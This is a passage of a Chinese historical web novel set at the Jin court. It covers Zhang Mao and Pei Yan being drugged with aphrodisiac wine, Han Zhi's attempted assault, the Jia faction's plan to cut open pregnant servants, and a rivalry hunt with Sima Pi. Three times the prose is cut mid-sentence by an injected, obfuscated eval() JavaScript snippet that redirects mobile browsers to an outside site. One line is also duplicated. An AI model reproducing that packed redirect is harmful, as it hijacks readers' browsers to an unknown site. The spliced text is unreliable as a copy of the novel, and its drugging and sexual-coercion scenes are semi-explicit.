“元娘可是后悔了?”张茂不敢逼她,但也不容她逃避,干脆以退为进,“既如此,某这便走,从此绝不叨扰。”说完便要起身离开。 裴妍一把拽住他的袖袍,怨道:“你怎么说得出这种话!我待你如何,你……你不知吗?” 张茂挑眉,回望过去。 裴妍撇过头,磕巴着解释:“我……我只是担心阿母的身体罢了!阿母冬日里才病了一场,如今好不容易缓过来。你这个时候去跟她说我们的事,她受不住怎么办?再者,我还有一年的孝呢。不若等明年我阿母的身体好些,再告诉她不迟。” 张茂见她不是全然反对,略放下心来,考量一番,终是选择尊重她,道:“我岂是那等孟浪之人?既然阿妍觉得时机未到,我再等些时日便是。” 这边厢二人互诉衷肠,隔壁的薛翊和裴娴却无聊到打瞌睡。裴妍是裴娴接出来的,她还得负责将人送回去,有始有终嘛,否则钜鹿郡公府的人不得起疑? 原以为张茂和裴妍要聊到很晚。不料,不过半个时辰,张茂就来请二人过去。 裴娴到的时候,裴妍已经喝得晕乎乎的,脸上泛着不正常的潮红,衣衫也有些不整。 张茂亲手给她披上大氅,把裹得严严实实地裴妍托付给了裴娴,请她赶紧送她回府,自己却拉着薛五郎进了内室,重重地关上了门。 裴娴架着软在自己身上的裴妍,看着面前紧闭的房门,只觉莫名其妙。 张茂拉着薛翊进屋后,重重地舒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001239|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。然而那股无法排解的酥麻感再次席卷而来。 他经历过这种事,那是前年被同僚拉去青楼的时候,他被人喂了酒,还碰巧遇到了裴妍…… 而今这回,反应竟比上次还要猛烈得多! 上回,他还能靠理智勉力维持,而这次,他只觉自己要炸裂了一般,那处更是肿胀难耐。 薛翊也发现了张茂的异常,他伸出手背一探他的额头,竟是一片滚烫,惊道:“方才还好好的,这是怎么了!” 张茂未作答,晦暗阴冷的目光落在倒在案边的那瓶杏花酿上。 薛翊瞬间懂了,他也是世家子弟,最忌讳被人暗算,拧眉道:“是谁!胆敢下作至此!” 张茂闭眼,整个洛阳城里,与他有私怨,又惯使这种损人不利己的下三滥勾当的,除了贾家那位,他想不出第二个来! 他咬牙,上回明明已经跟贾谧打过招呼,她也安分了几年,怎么今日又故技重施?真当他张家还是昔日门楣? 找死! 张茂身上的酥痒一阵盖过一阵。他只觉那处已经硬到不行,神志也渐渐涣散起来。 薛翊忙扶着他坐下,道:“我去寻店家找个伎子来!” 这种时候,最好的办法自然是找个女人来替他纾解。张茂舍不得动裴妍,那就找个下女来好了。 然而张茂却一把拉住他,哑声道:“别去,我不要别的女人!” 薛翊哭笑不得:“你不要别的女人?那你放裴元娘回去干嘛!借着这股劲,直接成事多好,免得夜长梦多!” 张茂那处胀痛异常,人也渐渐迷糊起来。 薛五郎急了,这也不行,那也不行,他到底想要怎样? “郎君可要妾帮忙?”槅门突然拉开,一个袅袅婷婷的身影走了进来。 薛翊只见一个半袒着胸口的锦衣美人摇着便面进了屋里。 那丰腴的白肉,纤细的腰肢,风流的媚眼,即便是没饮春酒的他也忍不住心神荡漾。 这女郎不是别人,正是贾后的侄女,鲁国公贾谧之妹,韩芷是也! 然而,薛翊是去年才来的京城,虽为皇家侍从,却从无机会进内廷,故而没有见过韩芷。 他看来人这身风骚的打扮,还以为是酒家的艺伎,叱道:“无人传唤,你怎敢私自进来?” “妾本备了好酒与自家郎君欢饮。谁知,店家竟将妾温好的酒错给了这里。” 薛翊听罢怒目圆睁,一手指她:“原来是你害人!” 薛翊怒目圆睁,一手指她:“原来是你害人!” 那女郎拿便面捂嘴,故作惊吓道:“明明是店家拿错了酒,怎么是妾害人?何况,妾的酒水里,融了不少好物,可谓千金一杯。妾还没有问郎君索我的酒钱呢!” “你……”薛翊被这个女郎怼得说不出话来。他放缓了语气,问她:“你这酒,可有解药?”既然酒是这个女郎带来的,那总有醒酒的药吧! 韩芷抿唇一笑道:“这又不是毒酒,哪来的解药?只要春宵一刻,不仅身子无碍,还能滋阴补阳哩!” 这话说得好不要脸!薛翊眯眼,轻佻地上下打量了一眼女子,看她这样就不像是良家子,于是不再矜持,掏出两枚金五铢递过去,语带暧昧道:“我这兄弟既误服了女郎的酒,便是与女郎有缘。不知女郎可否帮我兄弟疏解一二?” 这话正中韩芷下怀,她接过钱来,浅笑道:“此事既是因妾而起,妾自然要将功赎罪。劳烦郎君门外等候。” 薛翊了然一笑,爽快地出了门。内室里只余韩芷与支撑不住躺在地上的张茂二人! 韩芷一步步走到张茂身旁,蹲下身,眼神复杂地盯着地上的男人。 本来,董狐与她打赌,说张茂定敌不过春酒催情,与裴妍成就好事。而她也想看看,张茂这样神仙般清冷的男人,疯起来会是什么样子。 如韩芷董狐这类富贵闲人,有的是时间和人手,于是这些日子,他们派去了不少家丁留意张、裴二人的行踪。 终于,趁这次二人酒楼相会时,让他们钻了空子,在杏花酿中加了极度催情的玉露散。 只是令韩芷没想到的是,张茂宁愿自己难受至此,也不愿随意要了裴妍的身子! 46. 颠鸾倒凤恨催情,哑口无言疑窦生 韩芷嘴角噙着苦笑,三分妒,三分贪,三分惜,一分无奈地拿指尖抚上张茂的眉眼,一边描摹一边呢喃:“我知你无意于我,可我想了你这么些年,总得到手了才放得下,对吧!” 张茂朦朦胧胧地看到有个女人靠近自己,以为是裴妍折而复返,急道:“阿妍快走!” 他感觉那只解自己纨绔的手一顿,既而报复似的,那只柔嫩的小手狠狠握上那处,张茂只觉既疼痛非常又舒爽至极,忍不住闷哼出声来。 可是,他还是存了一丝理智,千钧一发之际,他一口咬上舌头! 韩芷原想得不到张茂的人,能得个身子也不错,可抬头就见张茂吐出一口鲜血来!骇得她一屁股坐在地上。 张茂已经疼得昏死过去,韩芷却怔怔地盯着地上的那摊血迹,再没了下手的兴致——原来,他宁愿咬舌也不愿要了裴妍! 这样的男人,这样的男人,真是,难得啊!她无力地仰倒在地,似哭似笑,似悲似喜,可惜,她一辈子也无法拥有! 另一厢,饮了玉露春的裴妍在车里就不正常起来。初春正是春寒料峭的时候,此时天已黑透,外面凉意袭人。裴妍却浑身滚烫,身上的大氅也被她给扯散开来。 马车里裴娴又是抱着她,又是给她理衣服,花了好大的功夫,心里疑惑:阿妍酒量不小啊!怎么今天吃成了这样?难道是久别重逢,高兴得? 好在进了钜鹿郡公府后,裴妍只是靠在裴娴身上,由裴娴和婢女帮忙架着走,并未出声。 裴娴捏了一手的冷汗,生怕她突然发酒疯,把长辈们引来。 裴娴好不容易把人送进了内院,交到容秋手上,只觉累得虚脱,正巧婢子们端着热水进来了,裴娴便把裴妍交托给她们,自己告辞了。 然而她将将走出院子,就看到一人正立在院外的回廊上。 月黑风高,裴妡披着鹤羽大氅,手提孤灯,一身肃杀,身边竟无一侍从,也不知她是恰巧路过呢?还是特意候着自己? 裴娴本想与往常那样,与她打个招呼就走。 不料裴妡却先她一步挡住去路,半是质问半是讥讽:“我家阿姊可是吃醉酒了?阿娴姊姊竟不劝着她些?” 裴娴暗叫不好,她知道裴妡看不上自己,自己同样也不待见她。若在平时,她想答就答,不想答也不必理会。钜鹿郡公府权势再大,也不会为难她这个族长之女。 只是这回,她引裴妍与张茂密会,使得裴妍醉酒而归,她难免有些心虚:“今日高兴么,就与阿妍多饮几杯。” 今日为何高兴?裴妍又是与谁多饮了几杯?裴娴没明说,裴妡也猜得出来。 “呵!”她嗤笑出声,朝裴娴走近些,用她俩才能听到的声音,警告道:“你要怎样为你的夫君铺路我不管,但休想拿我阿姊当垫脚石!我阿姊虽无父,我阿耶却不会不管她。真要说起来,老家的族长换换人也不是不可以!”说罢鄙夷地看了眼裴娴,绕过她,径直离去。 裴娴何时受过这等威胁与侮辱?她只觉怒上心头,抬首欲自辩,却到底心虚,半天想不出反驳的话来。 何况,裴妡也没打算听她解释,说完就走,压根不给她开口的机会。她自辩无门,只能瞅着裴妡渐行渐远的背影,恨恨地跺了跺脚,无趣地出府了。 再说裴妍躺到床上后,只觉小腹处酥痒难耐,自己辗转反侧,却无从排解。 容秋以为房里炭火太足,她热得难受,便把她的外衣褪下,只留了单衣,又拿温水给她拭了脸脖子和手脚。 没想到被容秋划过的地方,更是激起了裴妍的一阵战栗。她一把抓住容秋的手,在身上乱揉着,似乎这样能舒服许多。 容秋知道裴妍晚上是与谁出去的,因此,尽管她觉得裴妍醉酒后的样子不太对劲,依然没敢去长房禀报郭夫人,只是小心地伺候着。 至于掌家的王夫人,她到底是隔房的长辈,与长房的小郭氏本就关系尴尬,即便知道裴妍与族里的姊妹出去玩耍且醉了酒,也不好多说什么,只是叮嘱厨下给她煮了碗醒酒汤。 醒酒汤很快熬好了,容秋小心翼翼地给裴妍喂了几口。汤里有催眠的药材,不久,裴妍便模模糊糊地睡了过去。 见床帏里的人渐渐安静下来,容秋这才小心地退了出去。 只是,这醒酒汤解的是酒,却不是玉露散。睡着后的裴妍依然燥热难耐。她不舒服地交叠磨蹭着双腿,不知应该怎样排解。 模糊之中,她似乎看见了张茂。只是不知为何,张茂的身上衣衫不整,中衣大敞,甚至露出精壮的身子来。 她却一点都没有羞躁,反而没脸没皮地贴了上去,“阿茂哥,抱抱我!”她忍不住道。 这声呼唤千回百转,中间夹杂着声声娇喘,媚意入骨。她的手在张茂身上混乱地抚摸着。张茂也狠狠地抱上了她,热烈地亲吻回应着。 从她的额头到嘴唇,到脖颈,到抱腹,甚至到了那不可言说之处…… 一片混沌。 裴妍第二日醒来时,窗外已然天光大亮,刺眼的金光自帷帐的缝隙里射入,模模糊糊地分外晃眼。 她皱眉,欲举起手遮住眼睛,可是抬袖时,才发觉自己身上竟单衣混乱,床铺也凌乱不堪。 突然,偶有几幕荒唐的残梦映入脑中,她浑身一震,顿时两颊燥红。 天啊,她昨晚,昨晚,到底干了什么! 这……是梦是真? 裴妍顾不上穿衣,赶紧颤声唤容秋。 容秋端着洗漱用具,匆匆推门而入。 裴妍急着问她:“昨日可是茂郎送我回来的?她与我……” 容秋赶紧摇头:“哪能,是薛郎将的夫人送您回来的。您当时醉得不轻,夫人费了好一番功夫呢!” 阿娴送我回来的?不是张茂?她忐忑地看了眼身下,发现单衣虽然凌乱,却还是穿在身上的,只是有些汗湿而已。 裴妍一把捂住胸口,大大地松了口气,回过神之后,却又有种说不出的落寞。 她忍不住问容秋:“张家可有来人?” 昨日听张茂说,他这次回来只待一个月,而后又要回凉州了。 “听雨一早就来送了消息,说是张郎君昨夜与同僚畅饮,醉了一宿,今早才回的府。不过今日张郎君不得闲,晚些时候,还要去司空府拜访。” 听雨显然受了张茂的令,把行程全都告诉了裴妍。 醉了一宿?裴妍扶住额头,看来昨晚她和阿茂哥都喝得不少。自己被裴娴送了回来,阿茂哥干脆在酒馆睡了。他今日要去张司空家?张司空待他素来亲厚,少不得留饭。看来今日自己是见不到他了。 裴妍只觉无趣,恹恹地倒回榻上。张茂在外的时候,见不着人也就罢了。如今回来了,却还是见不着。 她很怀念当初张茂住在家里当清客的时候,那时自己随时都能去找他。哪像如今,见一面都要费好大劲! 张茂没有来,裴妍觉得做什么都无趣。 裴妡今日与河东公主有约,要去趟宫里,喊她同去,却被她推辞了。她与河东公主不算亲厚,去了也插不上话。何况最近宫里气氛怪怪的,她不想给自己找麻烦。 裴妍本想安静地在府里待一天,接近午晌的时候,东海王世子却来了。 自从贾后对外宣称有孕后,宫里的氛围就诡异起来。先是皇后以坐胎不稳需娘家人照顾为名,将娘家的妹妹贾午接进了宫里。继而又相继办了几场宫宴,让来往的命妇都看到皇后大着的肚子。 奇怪的是,宫宴上,贾午作为皇后的妹妹却从未出席。有传闻称,贾午也怀孕了,且与皇后孕期相似。 甚至有传闻说,皇后根本就没有怀孕,怀孕的是贾午,皇后这是准备李代桃僵呢! 对于后一条传言,贾后大发雷霆,杖杀了不少宫人。 以至于再开宫宴时,命妇们多战战兢兢的,生怕不小心触了皇后的忌讳。 在这个节骨眼上,裴妃作为宗室命妇,自然也得打起十二万分的精神来应对宫里的交际。如此一来,她来钜鹿郡公府的次数就少了很多。 司马毗倒是来过几次,不过他是外男,进内院找裴妍的时候不多。即便来了,往往坐一刻就走。总体而言,裴妍还算自在。 往日司马毗忙得很,今日不知什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也跟裴妃说起过此事,裴妃总以阿妍还小,女儿家难为情作为托词。然而,一年过去了,再不熟也熟起来了吧? 何况今日在只有他们二人的情况下,裴妍何至于对自己如此疏远? 他想起去年自己来钜鹿郡公府拜见裴侍中。临出书房时,二房的裴妡突然追了上来。 “阿姊近日无聊得很,世子得空不妨多来陪陪她。” 他知道这对堂姊妹素来交好。他满以为是裴妍特意嘱托裴妡来交代自己的。 毕竟自己朝事繁忙,没有太多时间陪她。为此,他还欢欣雀跃了很久,觉得裴妍只是面上冷淡,心里还是惦念自己的。 可是今日,他特地推去公务,抽出空暇来陪裴妍。可裴妍似乎并不愿与自己待在一起。 那她托裴妡传那句话做什么?莫非这当中另有隐情? 司马毗静静地看着画舫里煮茶的未婚妻,终于,从裴妍的身上嗅出了一丝反常。 裴妍的茶烹好了。她抬头想唤司马毗,却见对方长身玉立于湖畔,背着手垂眸看着自己,不辨喜怒。 裴妍的心口狠狠一跳,心虚、愧疚再度席卷而来。 她没有张茂和司马毗喜怒不形于色的功力,也不像裴妡和裴娴那样擅长伪装遮掩情绪。 她就这样,把自己最真实的一面展露在了她的未婚夫面前。 司马毗看着这样的裴妍,背在身后的手渐渐握紧。他就这样原地站了片刻,在裴妍越想越慌,浑身冒冷汗之际,他终于信步回到席上,神色如常地拿起裴妍分给他的茶盏,浅啜一口,微微一笑,品评道:“味道怎生与上次不一样?” “啊?”裴妍有点反应不过来。她上次给他煮茶是什么时候?煮的什么茶?是什么味道?她全然不记得了。或者说,她对司马毗的一切,从来就没有上心过。 好在司马毗未再多言,将茶吃完就起身告辞了。 春风撩拨着新柳拍打在东湖岸边,裴妍看着他渐行渐远的背影消失在竹林深处,心里突然不安起来。 47. 望极春愁情难已,无言谁会凭栏意 再说回张茂,他早起醒来时,发现自己还在酒楼隔间的榻上,旁边正睡着薛翊。 昨夜的残梦入脑,他依稀记起什么,怒从心头起,一拳将身边犹自熟睡的人捣醒。 那薛五郎也是个武将,拳头比脑袋醒得快。吃了张茂一拳后,本能地挥掌格挡,人也在对招中清醒过来。 他一边拆招一边莫名其妙地问张茂:“一大早的你发什么疯?” 张茂不言,只拳头更加凌厉地朝他砸来。 薛翊见状,虽不明所以,却也知道他不是玩笑,只好打起十二万分的精神应对。 二人都是武将出身,沙场上真刀实枪地历练出来的,短时间内,谁也占不到上风,反而桌椅碎了一地。 二人足足对打了半柱香的功夫,张茂因着宿醉,又受了春药的缘故,终于体力不支,被薛翊一拳打趴在地。 张茂拿拇指抹了抹嘴角的血水,疲软地仰躺在地上,以手扶额,脸上全是难受的颓唐。 薛翊不解,他觉得张茂早上定是中邪了,处处都不对劲。 他小心翼翼地凑上前,踢了踢地上的张茂,奇怪道:“你魔怔了?昨晚还好好的……” 提到昨晚,张茂火气更大,他突然坐起,厉声问他:“我醉酒,你不把我往家里送,放那女人进来作甚!” “哪个女人?”薛翊想了半天,才会过意来,又好气又好笑道:“哦,她啊!你那时难受得紧,我只好找来个美貌女郎帮你纾解一二。你不感激我就算了,怎么还恩将仇报?” 张茂见他一副理所当然的模样,松了的拳头不自觉地又捏紧了,真想把他按地上狠揍一顿——他方才也确实这么做了。 但细察薛翊所言,他似乎并不知内情,便试探道:“你可知那女人是谁?” “谁?”薛翊奇道,“不就是楼里养的伎子?怎么,看上人家了?要不,我帮你找店家讨了来?” “滚!”张茂扶额。原来薛翊并不认识韩芷! 也对,他若认得那女人,但凡有点脑子,也不会让她对自己行那事! 他小心地摸过自身上下,所幸昨日并未佩戴什么贴身物事,韩芷即便想留下证据也摸不着,更没法去阿妍那里挑拨是非。只是自己多年的清白竟一着不慎差点被那个蠢妇夺走,他不禁一阵心烦,更觉自尊受到侵犯。 如今贾后有孕,术士皆言此胎必为皇子。贾家借着皇后的势,正如日中天,韩芷也跟着水涨船高,连他这个新出炉的凉州刺史的儿子都敢轻贱。 张茂拧眉握拳,韩芷该死,偏现在动她不得! 正给贾后按肩的韩芷只觉后心一凉,扭头打了个大大的喷嚏。 皇后贾南风本来半躺在榻上小寐,被她的动静惊醒了。 她挥挥手,韩芷立刻停下来,绕到身前扶她起来。 贾后按着高高隆起的腹部,对韩芷道:“听说你昨晚又去外面厮混了?” 韩芷心头一跳,以为贾后知道了什么。张家如今正是得宠的时候,她使计差点奸了张茂,这事说大不大,说小也不小。若张家真要追究,她姨母少不得要严惩她来安功臣的心。 贾后却道:“你到底是荀家妇,行事总要给夫家留点颜面。这几日,不许再见那只狐狸了。” 狐狸是贾后对董狐的戏称。原来贾后以为韩芷昨晚是跟董狐风流去了。 这大半年来,贾后因着“怀孕”,谨慎起见,未再召幸面首。董狐浪惯了,空不住,没事便去找韩芷解馋。想来是最近他俩幽会太勤,贾后吃味了。 韩芷放下心来,低声应是。 贾后又道:“多陪陪你阿母,医正估摸着,也就这两个月的事。” 韩芷点头,然而对于家里的打算,她始终感到不放心。 她屏退四周,悄声问贾后:“阿母若也生的女儿怎么办?” 贾后不满地瞥她一眼,斥道:“宫里的医正、道人、胡僧都说你阿母怀的是男儿,怎就你乌鸦嘴,不盼着你阿母好?再者……”贾后眼里露出一丝阴狠:“你阿兄不是养了不少大肚婆在府里?总不能一个儿郎都生不出吧?” 韩芷知道阿兄贾谧在家中养了十来个怀孕的仆婢。她们都是给皇后和阿母备着的。不管阿母生的是男孩还是女孩,这些孕妇都要在同一天生产。 若阿母生的是男儿,则阿母的孩子给皇后,再从这些孕妇的孩子里挑一个最健壮的给阿母;若阿母生的是女儿,则直接从这些孩子中挑一个最健壮的男婴给皇后…… 而如何保证她们与阿母同一天生产呢?她还曾就此问过母亲贾午。 她阿母轻描淡写地道:“怎么生?剖了呗!” 贾后也好,贾午也罢,都是一副理所当然的模样,浑然不觉将活人开膛剖肚是多么狠毒的事。 在他们眼里,在泼天的权势面前,区区几条下奴的性命算得了什么? 韩芷听后,却觉得手脚发凉,寒毛直竖。 她良心不多,但是只要想到那些大腹便便的女人,很快就要被活剖了,即便心硬如她,亦于心不忍。 可她什么也做不了——贾家与太子势成水火,想要保住地位,只能兵行险着,这中间一丝差错都容不得。 她只好逼着自己忘掉这些,成日与董狐在外寻欢作乐,今朝有酒今朝醉的活着,就连张茂也被她设计看过了身子,虽未成事,也算了了少年时的遗憾。 她这样及时行乐,多少有逃避世事的成分在。 然而,她真的能逃得掉吗? 韩芷近日在宫里听西域来的胡僧讲了几节因果论。她实在想问问那胡僧,她们贾家埋下这种种恶因,可还能结下善果?那名为佛祖的神明,可能饶过她们? 张茂从司空张华的府邸出来后,天光还未散尽。朝中正是多事之秋,张华忙得不可开交,只来得及问过张茂一些凉州的庶务,又勉励了他几句,连饭都没留,就打发他出来了。 张茂理了理衣襟,看了眼天边即将收起的红霞,对听雨道:“去挚府。” 张茂的师叔挚虞自年少时便一直与吴王司马晏私交甚好。吴王是诸侯里少有的醉心山水字画、无心问政的闲人雅客。去年挚虞被聘为吴王友,正式成了吴王府的幕僚。 吴王年初春朝回京,至今未就藩,挚虞也跟着逗留京中。张茂正好去拜访一下师叔。 帖子是早就下好的,挚虞不仅早早等在了府里,还把另一位师兄皇甫严也叫了来。 皇甫严和挚虞是看着张茂长大的。面对他们,张茂明显比在张司空处放松了许多。 三人在书房里密谈半日,互通了不少不可言说的消息。 临走前,张茂奉父命,请挚虞为张家卜上一卦:“安定张氏欲治河西,特此求问仙人。” 挚虞依言以蓍草占卜,得六十四卦中的泰卦与观卦相合。 他扔下蓍草,轻捻胡须,笑着点头道:“回去告诉你阿耶,此乃霸者吉兆!相比中原,他的运道终在凉州。” 张茂欣然应是。他对卜筮之言素来不置可否,但他阿耶对此笃信不疑,那就借师叔吉言好了! 张茂离去后,皇甫严狐疑地看向挚虞:“蓍草所言真乃天机否?” 挚虞抚须一笑,摆着麈尾道:“如今金星昼出,与日争辉,女主为权,中原将乱。天命从来在于人心,士彦师兄既然主意已定,某便顺水推舟罢。” 自午时出府,一番应酬下来,张茂回到府里时已是掌灯时分。他疲惫地挥退听雨和拾叔,自己仰躺在榻上,闭目梳理这几日得来的消息: 贾后即将临盆,宫内警戒森严; 太子被言官弹劾,府治混乱,宠妾灭妻,勾连奸佞,与民争利; 宿卫军随孟观西征后,赵王的府兵参与京城防务,赵王一脉颇受宠幸,即便张司空也要避其锋芒; 除赵王和吴王外,淮南王、长沙王、成都王、东海王等诸侯亦都派有亲信留京理事…… 皇后与太子之争已到了你死我活的地步,明眼人都看得出来,只等皇后嫡子落地,便是东宫被废之时。 然而绝大多数人都呈观望之态。看似平静的京城实则暗流涌动,没人知道后续将如何。 可笑皇后被赵王灌了迷魂汤,竟不顾张司空的反对,把司马家的王爷当做自家部曲使唤,何其蠢钝! 如此看来,他阿耶暂不回朝,真是走对了! 正想着事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张茂垂于身侧的铁拳紧握,恨不能立刻杀到钜鹿郡公府向裴頠求亲去。 恰此时,听雨拿着一封拜帖走了进来,道是白日里东海王府投的帖。 张家兄弟立刻对视一眼。 张寔看热闹不嫌事大:“来的还真是时候啊!”他看着弟弟手里的拜帖,好奇道:“可有事?” “世子约我明日巳时,西郊行猎。” 张寔挑眉:“莫不是察觉了什么?” “察觉又如何?如今的张家,帝后尚且要给三分薄面,东海王府能奈我何!” 张茂合起帖子,嘴角微弯,讽道:“何况,这种长于妇人之手的世家公子,哪里来的底气,敢约我行猎?” 因着第二日张茂要赴司马毗之约,至少白天,裴妍那里是去不成了。他特地召来听雨,叮嘱道:“且和阿妍说一声,我明日白天要随同僚行猎,不得空,晚些时候必去寻她。” 翌日,虽是小阳春,但气候并不算暖和。几只雀鸟争相跳上高高的枝头,指望渐升的日头可以晒干翅膀上的晨露。 西郊榆林外,原本平静的地面突然发出隆隆震颤,一队骑兵快马疾驰而过,至入林的岔口处停下。 一阵整齐地嘶鸣,二十余骑同步急停,就连马踏声都丝毫未乱。 张茂一身利落的玄色劲装,跨马而立,长弓横握在腿前,静静地看着早已候在林边的一群人。 这群人多为王府亲兵,虽也是武人,但与张茂身后尸山血海里杀出来的边将比,明显少了三分血性。 虚张声势罢了! 张茂不动声色地从这群人里掠过去,发现里面有一个胡人,长得人高马大,眸子绿得发亮,一头赤发须张,横刀立马,颇具气势。 也就这一个还能看!他暗暗评价。 这群人在见到张茂后,突然向两边分列,空出一条道来。 一个锦帽貂裘的青年跨马上前,只见他肩上立着一只硕大的猞猁,一手长弓在握,一手牵缰勒马,停在了张茂身前。 张茂眯眼,依稀认出,这便是东海王世子司马毗了。 48. 瑜亮相争元娘愁,贾后生产众人忧 说来唏嘘,数年前,二人还是半大小子时,也曾有过几分交情,钜鹿郡公府里几度交游,共赴过鲁公的赏梅宴,清明时一起踏过青论过剑。 而今五年时光匆匆而过,再见面时却是情敌见面,分外眼红。 司马毗也在暗自观察张茂。即便再嫉恨,他也不得不承认,比起儿时,眼面前的这个人无论相貌还是气度,皆更胜从前。 许是这些年边关磨砺的缘故,哪怕张茂只是静静地看着自己,他也有一种被压制的错觉。这让他更觉恼怒,明明他才是诸侯!张茂不过一介清客罢了,哪怕这几年积了些微军功,也不过一怆荒武将而已! 司马毗是东道,他下巴微抬,朝张茂抱拳:“经年不见,张小郎别来无恙!” 张茂拱手:“世子亦无恙!” 二人并辔而行,双方丛人皆远远坠在身后。 石勒看着队伍前面为首并行的二人,拉缰绳的手不觉紧了紧,引得马儿不满地嘶鸣了一声。 石勒是杂胡,本不在亲兵之列,更无随扈的资格。但此次司马毗行猎,有与张茂一较长短的意思,于是让长史在亲兵之外荐几个擅骑射的人才来。 石勒是府里胡兵的头头,骑马射猎是娘胎里带出来的本能,便这般被点了卯。 他今日见到张茂,才依稀认出,这便是当年来寻裴妍的少年,没想到经年不见,如今已是四品将军了!再反观自己,只能在东海王府里当个不被人重视的杂胡头目。他有些不甘的摊开自己的手掌,上面被一层层厚茧包裹着,明明自己骑马射箭打斗样样不差,仅仅因为自己是胡人,便连建功立业的机会都没有? 他想起同乡的汲桑,如今已是牧帅,在成都王司马颖的部将公师藩麾下任职。据他说,成都王为人贤达,不已胡人为奴。他几次招揽自己。也许,比起东海王,成都王那里会有另一番机缘也未可知? 石勒只是个小跟班,他的走神无人理会。 大家伙的心思都集中在领头的两个年轻人身上。 “听亭侯说起,张小郎擅射御,今日得闲,便想切磋一二。”不熟的人之间聊天,往往从共同认识的人谈起。 司马毗从裴憬聊起,本不算错。可谁都知道张茂曾是裴憬的侍读,司马毗故意提起张茂的旧主,怕是来者不善。 “大兄总是抬举我。”张茂不卑不亢道,“论骑术他家各个能手,即便元娘亦喜驾着千里驹横行郊野。某惟射一途尚能一观。”他曾是钜鹿郡公府清客,祸兮福之所倚,他也因此对裴府上下颇为熟稔。 他甚至能知道裴妍擅长什么喜欢什么,而这些,远在封国多年的司马毗却是不如的。 司马毗冷哼一声:“小王愿与张兄痛痛快快地比上一场!” 张茂怎会惧他?于是欣然应战。 二人各携部曲会猎林中。 朝廷明令禁止春狩。然而这两个血气方刚的青年,一个是凯旋而归的武将,盛眷正隆;另一个是镇守一方的诸侯世子,天潢贵胄。这样两个天之骄子誓要比上一番,旁人怎敢阻拦?又有谁敢不长眼的弹劾二人? 双方所携都是好手,一个时辰之后,两队人马会于林外,各自堆上自己的猎物。 然而,随着张茂的手下奉上的战利品越来越多,司马毗的脸色一点点沉了下来。 论猎物的数量,东海王府猎得的战利品不比张家少,且上杀居多,但所得猎物以獐子、麋鹿、野狐居多,猛兽太少,最拿得出手的还是石勒贡献的一只黑瞎子。 不是司马毗不想猎豺狼虎豹,而是林中野兽生性机敏,自己和部曲还未靠近,这些猎物就老早跑了。 若不与张茂比,司马毗这队的所得可谓颇丰。 然而人比人得死,货比货得扔。 对于边将而言,野外捕猎是最基本的技能,否则军中粮草不济时,岂不是要饿死? 此次张茂以兵法行猎,声东击西,围三缺一,捕大放小,竟得了一车的猛禽,黑瞎子、豹子等等自不必提,甚至,张茂还亲自上杀了一只花皮大虎! 时值晌午,天光正盛,空气里弥漫着浓厚的血腥气。 司马毗突然有些后悔——张茂是武将,自己约他行猎,岂非以己之短攻彼之所长? 然而大庭广众之下,他不能既失了比试,又丢了风度,只好故作大方道:“张将军果然少年英杰!” 张茂自谦:“射御乃军伍之本。若论礼乐书数,某自不能与世子相提并论。” 张茂的作答还算给面子,司马毗点头,请他入帐一叙。 早有王府的扈从替二人准备好了奢华的营帐,帐内铺有干净厚实的蜀褥,当中两张漆案,其上酒肉菜蔬都已备好。 司马毗与张茂都擅饮。二人食了些烤肉,三碗水酒下肚后,司马毗不再拖延,单刀直入道:“张将军,小王幼时得一宝物,自来珍之重之,往日藏于匣中,不曾现世。近日才发觉,她竟不知何时入了他人彀中。不知将军若是小王,当如何应对?” 东海王妃在儿子初晓人事后,便跟儿子说起自己欲聘裴妍为儿媳的想法。司马毗与裴妍自幼相熟,待她自然与其他女子不同。尤其成人后,裴妍出落得倾国倾城,司马毗对这门亲事愈发满意。 原以为裴妍对他也是芳心暗许的,谁知,这一年来,裴妍一直待他冷淡疏远,这才引起他的警觉。 他已不是未经情事的少年,女子的那点心思他多少能看出来些。 正巧裴妃的一个贴身婢女有表亲在钜鹿郡公府当差,他便托她探了探。 那表亲自是探不出什么,只道钜鹿郡公府家规森严,阖府上下,也就张家二郎一个外男而已。 张二郎,张茂! 司马毗回想起与他的寥寥几次相交,虽说此人只是一介清客,但才情风度不输世家子。 男人的警觉被勾起,本能地,他猜出了点端倪。 正巧此时张茂回京,他便设下筵席,既是打探,也是警示。 张茂听罢,施施然放下酒碗,面对司马毗的试探,竟丝毫不加遮掩,抱拳道:“世子的宝物想必光华耀世。只是,某听闻,越是稀世珍宝越讲究缘分。世子未能守住她,可见她与世子缘分已尽。某以为,拿得起便要放得下,堂堂东海王府,什么宝贝没有?何必执着于她,白白伤神?” 还真是你! 司马毗没想到他竟承认得如此爽快,简直厚颜无耻到了极点! 他不禁冷哼一声,眯眼看向张茂道:“张将军倒是会慷他人之慨。那盗贼连东海王府都敢觊觎。难道,小王不该追究那盗宝之人?说来,小王倒是听闻,张将军近日也得了一宝,与我王府失窃之物颇为相似?” 